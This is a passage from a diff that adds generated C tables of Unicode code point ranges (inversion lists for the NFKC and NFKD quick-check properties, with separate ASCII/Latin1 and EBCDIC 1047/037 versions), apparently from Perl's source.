+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x3099,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x110BA,
+	0x110BB,
+	0x11127,
+	0x11128,
+	0x1133E,
+	0x1133F,
+	0x11357,
+	0x11358,
+	0x114B0,
+	0x114B1,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x115AF,
+	0x115B0,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKCQC__Y_invlist[] = { /* for EBCDIC 1047 */
+	579,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x300,
+	0x305,
+	0x306,
+	0x30D,
+	0x30F,
+	0x310,
+	0x311,
+	0x312,
+	0x313,
+	0x315,
+	0x31B,
+	0x31C,
+	0x323,
+	0x329,
+	0x32D,
+	0x32F,
+	0x330,
+	0x332,
+	0x338,
+	0x339,
+	0x340,
+	0x346,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x653,
+	0x656,
+	0x675,
+	0x679,
+	0x93C,
+	0x93D,
+	0x958,
+	0x960,
+	0x9BE,
+	0x9BF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB3E,
+	0xB3F,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xBBE,
+	0xBBF,
+	0xBD7,
+	0xBD8,
+	0xC56,
+	0xC57,
+	0xCC2,
+	0xCC3,
+	0xCD5,
+	0xCD7,
+	0xD3E,
+	0xD3F,
+	0xD57,
+	0xD58,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDDF,
+	0xDE0,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x102E,
+	0x102F,
+	0x10FC,
+	0x10FD,
+	0x1161,
+	0x1176,
+	0x11A8,
+	0x11C3,
+	0x1B35,
+	0x1B36,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x3099,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x110BA,
+	0x110BB,
+	0x11127,
+	0x11128,
+	0x1133E,
+	0x1133F,
+	0x11357,
+	0x11358,
+	0x114B0,
+	0x114B1,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x115AF,
+	0x115B0,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKCQC__Y_invlist[] = { /* for EBCDIC 037 */
+	577,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x300,
+	0x305,
+	0x306,
+	0x30D,
+	0x30F,
+	0x310,
+	0x311,
+	0x312,
+	0x313,
+	0x315,
+	0x31B,
+	0x31C,
+	0x323,
+	0x329,
+	0x32D,
+	0x32F,
+	0x330,
+	0x332,
+	0x338,
+	0x339,
+	0x340,
+	0x346,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x653,
+	0x656,
+	0x675,
+	0x679,
+	0x93C,
+	0x93D,
+	0x958,
+	0x960,
+	0x9BE,
+	0x9BF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB3E,
+	0xB3F,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xBBE,
+	0xBBF,
+	0xBD7,
+	0xBD8,
+	0xC56,
+	0xC57,
+	0xCC2,
+	0xCC3,
+	0xCD5,
+	0xCD7,
+	0xD3E,
+	0xD3F,
+	0xD57,
+	0xD58,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDDF,
+	0xDE0,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x102E,
+	0x102F,
+	0x10FC,
+	0x10FD,
+	0x1161,
+	0x1176,
+	0x11A8,
+	0x11C3,
+	0x1B35,
+	0x1B36,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x3099,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x110BA,
+	0x110BB,
+	0x11127,
+	0x11128,
+	0x1133E,
+	0x1133F,
+	0x11357,
+	0x11358,
+	0x114B0,
+	0x114B1,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x115AF,
+	0x115B0,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NFKDQC__N_invlist[] = { /* for ASCII/Latin1 */
+	781,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE0,
+	0xE6,
+	0xE7,
+	0xF0,
